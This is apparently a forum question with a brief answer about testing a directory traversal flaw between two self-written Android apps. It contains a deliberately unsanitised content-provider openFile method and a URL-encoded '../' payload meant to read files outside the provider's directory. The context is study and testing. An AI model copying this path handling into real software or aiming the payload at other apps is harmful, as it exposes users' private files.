I'm studying 'Directory traversal' attack in Android applications using this link
I understand the concept behind the vulnerability that the input needs to be sanitized properly before opening any file. I wanted to test the vulnerability, so I have some sample code that I wrote.
I have 2 apps (AppA and AppB), and my motive is to exploit the vulnerability in AppA's content provider openFile method. It is as follows:
@Nullable
@Override
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
String path = Uri.parse(DETAILS_DIRECTORY + uri).getLastPathSegment();
File file = new File(DETAILS_DIRECTORY, path);
Log.v ("gaurav", "path : " + path);
Log.v ("gaurav", "File exists: " + file.exists());
return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY);
}
where DETAILS_DIRECTORY is :
private static final String DETAILS_DIRECTORY = "abc/efg/";
So, using directory traversal my motive is to access
/storage/sdcard/hello_world/logs
The code used for exploiting the vulnerability is (in AppB) :
String target = "content://com.android.AppA.Provider/friends/" +
"%2E%2E%2F%2E%2E%2Fstorage%2Fsdcard%2Fhello_world%2Flogs";
ContentResolver cr = mContext.getContentResolver();
FileInputStream fis = null;
try {
fis = (FileInputStream) cr.openInputStream(Uri.parse(target));
} catch (FileNotFoundException e) {
e.printStackTrace();
}
What I understood from the above link is that it's indeed possible to access some file in some other directory (other than the default configured directory, which is DETAILS_DIRECTORY in this case). But if I run both apps, and try to attack, the final path I get is of the form /storage/sdcard/hello_world/logs which is indeed correct but file.exists() gives me false in the log, and it also causes FileNotFoundException for the obvious reasons. Is there any way I could go upto the root directory and access the desired path? I'd really appreciate some help regarding this.
UPDATE : It all boils down to the fact that when I have filepath as "/storage/sdcard/hello_world/logs", everything works fine, and all methods (canRead(), isFile(), exists()) return true, but when the file path is "/abc/efg/../../../storage/sdcard/hello_world/logs", methods return false, and file is not found. So I'm unable to understand how to use file API to access files which contain "../" in their path.
..%2F..
to the start of your string first since you're trying to access the file within the context of the folderabc/efg/
. Perhaps this:..%2F..%2Fstorage%2Fsdcard%2Fhello_world%2Flogs
. I am not sure, though, since it might be able to determine that it's supposed to be the root directory since it start with/
. Perhaps give it a go?